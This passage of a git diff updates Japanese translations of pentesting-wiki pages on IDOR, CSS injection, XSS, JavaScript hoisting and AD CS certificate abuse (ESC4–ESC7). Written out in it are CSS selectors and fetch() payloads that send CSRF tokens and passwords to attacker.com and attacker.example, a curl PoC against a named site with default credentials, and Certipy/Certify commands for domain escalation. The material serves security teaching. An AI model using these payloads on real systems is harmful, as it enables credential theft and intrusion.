を可能にした consumer **JWT** を取得しました。範囲 `1 – 64,185,742` を列挙した結果、約 **64 million** 件のレコードが露出しました。 -Proof-of-Concept request: +概念実証リクエスト: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. +テストアカウントへのアクセスを許可する**デフォルト管理者資格情報**（`123456:123456`）と組み合わさり、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。 --- -## 3. IDOR / BOLA の影響 -* 水平的権限昇格 – 他のユーザーのデータを読み取り/更新/削除できる。 -* 垂直的権限昇格 – 低権限ユーザーが管理者専用の機能を利用できるようになる。 -* 識別子が連続している場合（例：申請者ID、請求書）大規模なデータ漏洩が発生する可能性がある。 -* 他ユーザーのトークンを盗む、またはパスワードをリセットすることでアカウント乗っ取りが発生する。 +## 3. Impact of IDOR / BOLA +* 水平的エスカレーション – 読み取り/更新/削除が可能な**他のユーザーの**データ。 +* 垂直的エスカレーション – 権限の低いユーザーが管理者専用の機能を取得する。 +* 識別子が連続している場合（例: 申請者ID、請求書）、大規模なデータ漏洩が発生する可能性がある。 +* トークンを盗む、または他のユーザーのパスワードをリセットすることでアカウント乗っ取りが発生する。 --- -## 4. 緩和策とベストプラクティス -1. すべてのリクエストで **object-level authorization** を強制する（`user_id == session.user`）。 -2. 自動増分IDの代わりに **indirect, unguessable identifiers**（UUIDv4、ULID）を使用する。 -3. 認可は必ず **server-side** で行い、隠しフォームフィールドやUIコントロールに頼らない。 -4. 中央のミドルウェアで **RBAC / ABAC** チェックを実装する。 -5. ID列挙を検出するために **rate-limiting & logging** を追加する。 -6. 新しいエンドポイントはすべてセキュリティテストを行う（ユニット、統合、及び DAST）。 +## 4. Mitigations & Best Practices +1. すべてのリクエストで**オブジェクトレベルの認可を強制する**（`user_id == session.user`）。 +2. 自動増分IDの代わりに、**間接的で推測困難な識別子**（UUIDv4, ULID）を推奨する。 +3. 認可は**サーバー側**で行い、隠しフォームフィールドやUIコントロールに依存してはいけない。 +4. 中央のミドルウェアで**RBAC / ABAC**のチェックを実装する。 +5. IDの列挙を検出するために、**レート制限 & ロギング**を追加する。 +6. 新しいエンドポイントごとにセキュリティテストを実施する（unit, integration, and DAST）。 --- ## 5. Tooling diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 5abd519e0..f7c798fad 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### 属性セレクタ -CSSセレクタは、`input` 要素の `name` と `value` 属性の値にマッチするよう作成されます。もし `input` 要素の `value` 属性が特定の文字で始まると、あらかじめ定義された外部リソースが読み込まれます： +CSSセレクタは`input`要素の`name`および`value`属性の値にマッチするように作成されます。`input`要素の`value`属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -しかし、この手法は隠し input 要素（`type="hidden"`）に対して制約があり、隠し要素は背景を読み込まないため問題になります。 +しかし、このアプローチは隠し input 要素（`type="hidden"`）を扱う際に制約があります。隠し要素は背景を読み込まないためです。 #### 隠し要素のバイパス -この制約を回避するには、`~` を使った一般兄弟セレクタで後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素に続くすべての兄弟要素に適用され、背景画像を読み込ませます: +この制約を回避するには、`~` general sibling combinator を使って後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素の後に続くすべての兄弟に適用され、背景画像が読み込まれます: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -この手法を実際に悪用する実例は、添付のコードスニペットに詳述されています。閲覧は [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) から可能です。 +この手法を悪用する実践的な例は、添付のコードスニペットに詳述されています。確認するには [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) をご覧ください。 #### CSS Injection の前提条件 -CSS Injection を有効にするには、いくつかの条件を満たす必要があります: +For the CSS Injection technique to be effective, certain conditions must be met: -1. **Payload Length**: CSS injection vector は、作成したセレクタを格納するのに十分な長さのpayloadをサポートしている必要があります。 -2. **CSS Re-evaluation**: ページをフレーム内に読み込める能力が必要です。これは、新たに生成したpayloadを用いてCSSの再評価をトリガーするために必要です。 +1. **Payload Length**: CSS injection ベクタは、作成したセレクタを収めるために十分に長い payloads をサポートしている必要があります。 +2. **CSS Re-evaluation**: ページをフレーム化できることが必要です。これは、新しく生成した payloads で CSS の再評価をトリガーするために必要になります。 3. **External Resources**: この手法は外部ホストされた画像を使用できることを前提としています。これはサイトの Content Security Policy (CSP) によって制限される可能性があります。 ### Blind Attribute Selector -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), セレクタ **`:has`** と **`:not`** を組み合わせることで、ブラインド要素からでもコンテンツを識別することが可能です。これは、CSS Injection を読み込むウェブページの内部が全く分からない場合に非常に有用です。\ -これらのセレクタを使って、同じタイプの複数のブロックから情報を抽出することも可能です。例えば: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. これは、CSS injection を読み込むウェブページの中身が全く分からない場合に非常に有用です。\ +同じタイプの複数のブロックから情報を抽出するためにこれらのセレクタを使用することも可能です。例は以下の通りです: ```html ``` -### Auto-fill パスワードの取得 +### オートフィルされたパスワードの取得 ```javascript Username:
@@ -1422,11 +1422,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. +パスワードフィールドに何らかのデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存済みのパスワードを選択して何も入力しなくても、credentials は ex-filtrated されます。 -### Hijack form handlers to exfiltrate credentials (const shadowing) +### フォームハンドラを乗っ取って credentials を exfiltrate する (const shadowing) -もし critical handler（例: `function DoLogin(){...}`）がページの後方で宣言され、あなたの payload が先に実行される場合（例: inline JS-in-JS sink 経由）、同じ名前の `const` を先に定義して handler を先取りしてロックします。後の function 宣言は `const` 名を rebind できないため、あなたの hook が制御を維持します: +もし重要なハンドラ（例： `function DoLogin(){...}`）がページ内で後から宣言され、あなたのペイロードがより早く実行される場合（例：inline JS-in-JS sink 経由）、同名の `const` を先に定義してハンドラを先取り・ロックしてください。後からの function 宣言は `const` 名を再束縛できないため、あなたのフックが制御を保持します： ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,18 +1435,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` 注意 -- 実行順に依存します: your injection は正当な宣言より先に実行される必要があります。 -- あなたのペイロードが `eval(...)` でラップされている場合、`const/let` bindings は globals になりません。真の global かつ non-rebindable な binding を確保するには、セクション “Deliverable payloads with eval(atob()) and scope nuances” にある動的な ` @@ -1559,9 +1559,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - 隠されたコンテンツへのアクセス +### Regex - Access Hidden Content -この[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、別のオブジェクトのJS属性で見つけられることが分かります。例えば、REGEXの入力は、そのregexの入力値が削除された後でも見つけることができます： +From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、JS 上でいくつかの値が消えても、別のオブジェクトの JS 属性内でそれらを見つけられることがわかります。たとえば、REGEX の input は、その値が削除された後でも見つけることができます： ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1589,7 +1589,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS in Markdown -レンダリングされるMarkdownコードを注入できますか？もしかするとXSSを誘発できるかも！確認： +レンダリングされるMarkdownコードを注入できますか？ もしかするとXSSを引き起こせるかもしれません！ 確認： {{#ref}} @@ -1598,24 +1598,24 @@ xss-in-markdown.md ### XSS to SSRF -XSSを**site that uses caching**で見つけましたか？Edge Side Include Injectionを使って、それを**upgrading that to SSRF**にアップグレードしてみてください。次のpayload: +**キャッシュを使用しているサイト**でXSSを見つけましたか？ Edge Side Include Injectionを使って、以下のpayloadで**それをSSRFにアップグレード**してみてください： ```python ``` -Use it to bypass cookie restrictions, XSS filters and much more!\ -この手法の詳細はここ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +これを使って cookie 制限、XSS フィルタなどを回避できます！\ +More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### 動的に作成された PDF における XSS -もしウェブページがユーザー入力を使って PDF を生成している場合、PDF を作成する **bot を騙して** **任意の JS コードを実行する** ように仕向けることを試せます。\ -つまり、**PDF creator bot finds** 何らかの **HTML** **tags** を見つけると、それらを **interpret** し、この挙動を **abuse** して **Server XSS** を引き起こすことができます。 +もしウェブページがユーザ制御の入力を使って PDF を生成している場合、PDF を作成している **trick the bot** を **executing arbitrary JS code** させるよう試みることができます。\ +つまり、もし **PDF creator bot finds** が何らかの **HTML** **tags** を見つけると、それらを **interpret** し、その振る舞いを **abuse** して **Server XSS** を引き起こすことができます。 {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -HTML タグを注入できない場合は、**PDF データを注入する**ことを試してみる価値があります: +もし HTML tags を注入できない場合は、**inject PDF data** を試す価値があるかもしれません： {{#ref}} @@ -1624,15 +1624,15 @@ pdf-injection.md ### Amp4Email における XSS -AMP はモバイルデバイスでのウェブページのパフォーマンスを加速することを目的としており、速度とセキュリティを重視しつつ機能を提供するために JavaScript を補助した HTML タグを取り入れています。様々な機能に対応するコンポーネントは [AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。 +AMP はモバイルデバイスでのウェブページの表示速度を向上させることを目的としており、機能性を JavaScript で補強した HTML タグを取り入れ、速度とセキュリティを重視しています。さまざまな機能のためのコンポーネントをサポートしており、[AMP components](https://amp.dev/documentation/components/?format=websites) から参照できます。 -[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 +The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。 -例: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### ファイルアップロードでの XSS (svg) +### XSS — ファイルアップロード (svg) -次のようなファイルを画像としてアップロードします (出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1688,11 +1688,10 @@ id="foo"/> ```xml ``` -以下で**より多くの SVG payloads**を見つけてください [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +次のリンクで**より多くの SVG payloads を見つけてください** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ## その他の JS トリックと関連情報 - {{#ref}} other-js-tricks.md {{#endref}} @@ -1706,7 +1705,7 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) -## 参考資料 +## 参考 - [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) - [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index e293a37c1..2d52b4693 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -4,29 +4,29 @@ ## 基本情報 -JavaScript には、変数、関数、class、または import の宣言がコード実行前にスコープの先頭に持ち上げられるという仕組み、**Hoisting** が存在します。この処理は JavaScript エンジンが自動的に行い、スクリプトを複数回のパスで処理します。 +In the JavaScript language, a mechanism known as **Hoisting** is described where declarations of variables, functions, classes, or imports are conceptually raised to the top of their scope before the code is executed. This process is automatically performed by the JavaScript engine, which goes through the script in multiple passes. -最初のパスでは、エンジンがコードをパースして構文エラーをチェックし、抽象構文木に変換します。この段階には hoisting が含まれ、特定の宣言が実行コンテキストの先頭に移されます。パース段階が成功し（構文エラーがないことが確認されれば）、スクリプトの実行が続行されます。 +During the first pass, the engine parses the code to check for syntax errors and transforms it into an abstract syntax tree. This phase includes hoisting, a process where certain declarations are moved to the top of the execution context. If the parsing phase is successful, indicating no syntax errors, the script execution proceeds. -重要な点は以下です: +重要なのは次の点です: -1. 実行が行われるためにはスクリプトに構文エラーがあってはならない。構文ルールは厳密に守られる必要があります。 -2. hoisting によりスクリプト内のコード配置が実行結果に影響するため、実際に実行されるコードはテキスト上の表現と異なる場合があります。 +1. スクリプトは実行されるために構文エラーがないことが必要です。構文規則は厳密に守られなければなりません。 +2. hoisting によりスクリプト内のコードの配置が実行に影響を与えるため、実際に実行されるコードはそのテキスト表現と異なる場合があります。 -#### Types of Hoisting +#### Hoisting の種類 -MDN の情報によると、JavaScript には大きく分けて 4 種類の hoisting があります: +Based on the information from MDN, there are four distinct types of hoisting in JavaScript: -1. **Value Hoisting**: 宣言行より前にスコープ内で変数の値を使用できるようにする。 -2. **Declaration Hoisting**: スコープ内で宣言前に変数を参照しても `ReferenceError` を発生させず、ただし変数の値は `undefined` になる。 -3. このタイプは、実際の宣言行より前に変数が宣言されることによりスコープ内の挙動が変わる。 -4. 宣言の副作用が、それを含む他のコードが評価される前に発生する。 +1. **Value Hoisting**: Enables the use of a variable's value within its scope before its declaration line. +2. **Declaration Hoisting**: Allows referencing a variable within its scope before its declaration without causing a `ReferenceError`, but the variable's value will be `undefined`. +3. This type alters the behavior within its scope due to the variable's declaration before its actual declaration line. +4. The declaration's side effects occur before the rest of the code containing it is evaluated. -詳細では、function 宣言は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。`let`、`const`、および `class` を含むレキシカル宣言は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動で hoist される点が特殊です。 +詳しくは、function declarations は type 1 の hoisting 挙動を示します。`var` キーワードは type 2 の挙動を示します。Lexical declarations（`let`、`const`、`class` を含む）は type 3 の挙動を示します。最後に、`import` 文は type 1 と type 4 の両方の挙動でホイスティングされる点でユニークです。 ## シナリオ -したがって、未宣言のオブジェクトが使用された後に **Inject JS code after an undeclared object** できるような状況がある場合、宣言を追加して **fix the syntax** すれば（エラーを投げる代わりに）あなたのコードが実行されるようにできます: +Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -131,7 +131,7 @@ trigger() ``` ### constで名前をロックして後の宣言を先取りする -トップレベルの `function foo(){...}` がパースされる前に実行できる場合、同じ名前でレキシカル束縛（例: `const foo = ...`）を宣言すると、後でその関数宣言がその識別子に再バインドするのを防げます。これはRXSSで悪用され、ページ後半に定義された重要なハンドラを乗っ取るために使えます: +トップレベルの `function foo(){...}` が解析される前に実行できる場合、同じ名前でレキシカルバインディング（例: `const foo = ...`）を宣言すると、その識別子が後の関数宣言によって再バインドされるのを防げます。これはページの後で定義される重要なハンドラを乗っ取るために RXSSで悪用できます: ```javascript // Malicious code runs first (e.g., earlier inline
-前のものと同様の privesc の例: +ESC4 は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合です。例えば、証明書テンプレートの設定を上書きしてテンプレートを ESC1 に対して脆弱にするよう悪用できます。 -ESC4 は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合を指します。例えば、この権限を悪用して証明書テンプレートの設定を書き換え、テンプレートを ESC1 に対して脆弱にすることができます。 - -上のパスでわかるように、これらの権限を持っているのは `JOHNPC` のみですが、我々のユーザー `JOHN` は `JOHNPC` への新しい `AddKeyCredentialLink` エッジを持っています。これは証明書に関連するテクニックなので、私はこの攻撃も実装しました。これは [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) として知られています。 - -以下は、被害者の NT hash を取得するための Certipy の `shadow auto` コマンドの簡単なプレビューです。 +上のパスから分かるように、これらの権限を持っているのは `JOHNPC` のみですが、我々のユーザー `JOHN` は `JOHNPC` への新しい `AddKeyCredentialLink` エッジを持っています。この手法は証明書に関連しているため、私はこの攻撃も実装しました。これは [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) として知られています。以下は被害者の NT hash を取得する Certipy の `shadow auto` コマンドの簡単なプレビューです。 ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** は単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipy は設定を**上書き**して**ESC1に対して脆弱**にします。 -また、**`-save-old` パラメータを指定して古い設定を保存できます**。これは攻撃後に設定を**復元**する際に便利です。 +**Certipy**は単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipyは設定を**上書き**して**ESC1に脆弱**にします。また、**`-save-old` パラメータで古い設定を保存する**ことも指定でき、これは攻撃後に設定を**復元**するのに役立ちます。 ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -180,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## 脆弱な PKI オブジェクトのアクセス制御 - ESC5 +## Vulnerable PKI Object Access Control - ESC5 -### 説明 +### Explanation -ACL ベースの関係が複雑に絡み合った広範なネットワークは、証明書テンプレートや Certification Authority を超える複数のオブジェクトを含み、AD CS システム全体のセキュリティに影響を及ぼす可能性があります。セキュリティに大きく影響するこれらのオブジェクトには次が含まれますが、これらに限定されません： +ACL ベースの相互関係の広範なネットワークは、certificate templates や certificate authority を超える複数のオブジェクトを含み、AD CS システム全体のセキュリティに影響を及ぼす可能性があります。セキュリティに重大な影響を与え得るこれらのオブジェクトには、次が含まれます: -- CA サーバーの AD computer オブジェクト（S4U2Self や S4U2Proxy のようなメカニズムを介して侵害される可能性があります）。 +- S4U2Self や S4U2Proxy のようなメカニズムで侵害され得る、CA サーバーの AD コンピュータオブジェクト。 - CA サーバーの RPC/DCOM サーバー。 -- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` 配下の任意の子孫 AD オブジェクトまたはコンテナ。このパスには、Certificate Templates container、Certification Authorities container、NTAuthCertificates object、Enrollment Services Container などのコンテナおよびオブジェクトが含まれます。 +- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` の配下にある任意の子孫 AD オブジェクトやコンテナ。このパスには、Certificate Templates container、Certification Authorities container、NTAuthCertificates オブジェクト、Enrollment Services Container など（これらに限定されない）が含まれます。 -これらの重要なコンポーネントのいずれかを低権限の攻撃者が掌握すると、PKI システムのセキュリティが損なわれる可能性があります。 +これらの重要コンポーネントのいずれかを低権限の攻撃者が掌握すると、PKI システムのセキュリティは損なわれます。 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 -### 説明 +### Explanation -[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) で扱われている内容は、Microsoft が定義する **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグの影響にも触れています。この設定が Certification Authority (CA) で有効化されていると、Active Directory® から構築されたものを含む「任意のリクエスト」に対して、**ユーザー定義の値**を **subject alternative name** に含めることが許可されます。結果として、標準の User テンプレートのように権限のないユーザーの登録が許可されているテンプレートを含む、ドメイン認証用に設定された任意のテンプレートを通じて侵入者が登録できるようになります。その結果、証明書を取得して侵入者がドメイン管理者やドメイン内の他の任意のアクティブなエンティティとして認証することが可能になります。 +The subject discussed in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) also touches on the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag's implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of **user-defined values** in the **subject alternative name** for **any request**, including those constructed from Active Directory®. Consequently, this provision allows an **intruder** to enroll through **any template** set up for domain **authentication**—specifically those open to **unprivileged** user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or **any other active entity** within the domain. -注意：`certreq.exe` の `-attrib "SAN:"` 引数（“Name Value Pairs” と呼ばれる）を通じて CSR に alternative names を追加する方法は、ESC1 における SAN の悪用方法とは対照的です。ここでの違いは、アカウント情報が extension ではなく証明書属性の中にカプセル化される点にあります。 +**Note**: The approach for appending **alternative names** into a Certificate Signing Request (CSR), through the `-attrib "SAN:"` argument in `certreq.exe` (referred to as “Name Value Pairs”), presents a **contrast** from the exploitation strategy of SANs in ESC1. Here, the distinction lies in **how account information is encapsulated**—within a certificate attribute, rather than an extension. -### 悪用 +### Abuse -設定が有効化されているかどうかを確認するために、組織は次のコマンドを `certutil.exe` で利用できます： +To verify whether the setting is activated, organizations can utilize the following command with `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -この操作は本質的に **remote registry access** を用いるため、代替の方法としては以下が考えられます: +この操作は本質的に **remote registry access** を利用しているため、代替のアプローチは次のようになるかもしれません： ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -次のようなツール [**Certify**](https://github.com/GhostPack/Certify) と [**Certipy**](https://github.com/ly4k/Certipy) はこの誤設定を検出し悪用できます: +[**Certify**](https://github.com/GhostPack/Certify) と [**Certipy**](https://github.com/ly4k/Certipy) のようなツールは、この誤設定を検出して悪用できます: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -223,35 +220,35 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -環境でこの構成を無効にするには、フラグを次のように削除します: +この設定を環境で無効にするには、flag を次のように削除します: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> 2022年5月のセキュリティ更新以降、新しく発行される**証明書**には、要求者の`objectSid`プロパティを組み込んだ**セキュリティ拡張 (security extension)** が含まれるようになりました。ESC1では、このSIDは指定されたSANから派生します。しかし、**ESC6**ではSIDはSANではなく要求者の`objectSid`を反映します。\ -> ESC6を悪用するには、システムがESC10（Weak Certificate Mappings）に脆弱であり、**新しいセキュリティ拡張よりもSANを優先する**必要があります。 +> 2022年5月のセキュリティ更新以降、新たに発行される**証明書**には**セキュリティ拡張**が含まれ、その拡張は**要求者の `objectSid` プロパティ**を組み込みます。ESC1では、このSIDは指定された SAN から派生します。しかし、**ESC6**ではSIDはSANではなく**要求者の `objectSid`**を反映します。\ +> ESC6を悪用するには、システムがESC10 (Weak Certificate Mappings) に脆弱であり、**新しいセキュリティ拡張よりもSANを優先する**必要があります。 -## 脆弱な証明書認証局のアクセス制御 - ESC7 +## 脆弱な証明機関のアクセス制御 - ESC7 ### 攻撃 1 #### 説明 -証明書認証局のアクセス制御は、CAの操作を管理する権限のセットによって維持されます。これらの権限は、`certsrv.msc` を開き、CAを右クリックしてプロパティを選択し、セキュリティタブに移動することで確認できます。さらに、PSPKIモジュールを使用して、次のようなコマンドで権限を列挙することもできます: +証明機関のアクセス制御は、CAの操作を管理する一連の権限によって維持されます。これらの権限は、`certsrv.msc` を起動して CA を右クリックし、プロパティを選択してセキュリティタブに移動することで表示できます。さらに、PSPKI モジュールを使用して次のようなコマンドで権限を列挙することも可能です: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA 管理者” and “証明書マネージャー” respectively. +これは主要な権限、すなわち **`ManageCA`** と **`ManageCertificates`** に関する洞察を提供し、それぞれ “CA 管理者” と “証明書マネージャー” の役割に対応します。 #### 悪用 -証明機関に対する **`ManageCA`** 権限を持つと、主体は PSPKI を使用して設定をリモートで操作できます。これには、任意のテンプレートで SAN を指定できるように **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えることが含まれ、domain escalation の重要な要素となります。 +証明書発行機関 (CA) に対して **`ManageCA`** 権限を持つと、主体は PSPKI を使ってリモートで設定を操作できます。これには **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えて任意のテンプレートで SAN の指定を許可することが含まれ、これはドメイン権限昇格の重要な要素です。 -このプロセスは PSPKI の **Enable-PolicyModuleFlag** cmdlet を使用することで簡素化でき、GUI に直接触れずに変更が行えます。 +このプロセスは PSPKI の **Enable-PolicyModuleFlag** cmdlet を使用することで簡略化でき、GUI を直接操作せずに変更が可能になります。 -**`ManageCertificates`** 権限を持っていると、保留中のリクエストの承認が可能になり、事実上「CA certificate manager approval」保護を迂回できます。 +**`ManageCertificates`** 権限を持つと、保留中のリクエストを承認でき、事実上「CA 証明書マネージャーの承認」保護策を回避できます。 -**Certify** と **PSPKI** モジュールの組み合わせを使って、証明書の要求、承認、ダウンロードを行うことができます: +A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -269,31 +266,31 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` ### Attack 2 -#### Explanation +#### 説明 > [!WARNING] -> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. +> **前の攻撃**では **`Manage CA`** 権限を使用して **EDITF_ATTRIBUTESUBJECTALTNAME2** フラグを有効化し **ESC6 攻撃** を実行しましたが、CAサービス（`CertSvc`）を再起動するまでこれは効果を持ちません。ユーザーが `Manage CA` アクセス権を持っている場合、そのユーザーは **サービスを再起動する** ことも許可されます。しかし、**それがそのユーザーにサービスをリモートで再起動する権限を与えるわけではありません**。さらに、ほとんどのパッチ適用済み環境では、2022年5月のセキュリティ更新のために **ESC6はそのままでは動作しない場合があります**。 -Therefore, another attack is presented here. +そこで、別の攻撃をここで紹介します。 前提条件: -- **`ManageCA`** 権限のみ -- **`Manage Certificates`** 権限（**`ManageCA`** から付与可能） +- Only **`ManageCA` permission** +- **`Manage Certificates`** permission（**`ManageCA`** から付与可能） - 証明書テンプレート **`SubCA`** は **有効化** されている必要がある（**`ManageCA`** から有効化可能） -この手法は、`Manage CA` と `Manage Certificates` の両方のアクセス権を持つユーザーが **失敗する証明書リクエストを発行できる** という事実に依存しています。証明書テンプレート **`SubCA`** は **ESC1 に対して脆弱** ですが、テンプレートに登録できるのは **管理者のみ** です。したがって、**ユーザー** は **`SubCA`** への登録を **要求** することができ（その要求は **拒否** される）、その後マネージャーによって **発行される**、という流れになります。 +この手法は、`Manage CA` および `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書要求を発行できる** という事実に依存します。証明書テンプレート **`SubCA`** は **ESC1 に対して脆弱** ですが、テンプレートへ登録できるのは **管理者のみ** です。したがって、**ユーザー** は **`SubCA`** への登録を **要求** できます — これは **拒否** されます — が、その後マネージャーによって **発行される** ことになります。 -#### Abuse +#### 悪用 -ユーザーを新しいオフィサーとして追加することで、自分自身に **`Manage Certificates`** 権限を付与できます。 +ユーザーを新しい担当者として追加することで、`Manage Certificates` のアクセス権を自分に付与できます。 ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -**`SubCA`** テンプレートは、`-enable-template` パラメータで **CA 上で有効化** できます。デフォルトでは、`SubCA` テンプレートは有効になっています。 +**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して**CA 上で有効化**できます。デフォルトでは、`SubCA` テンプレートは有効になっています。 ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 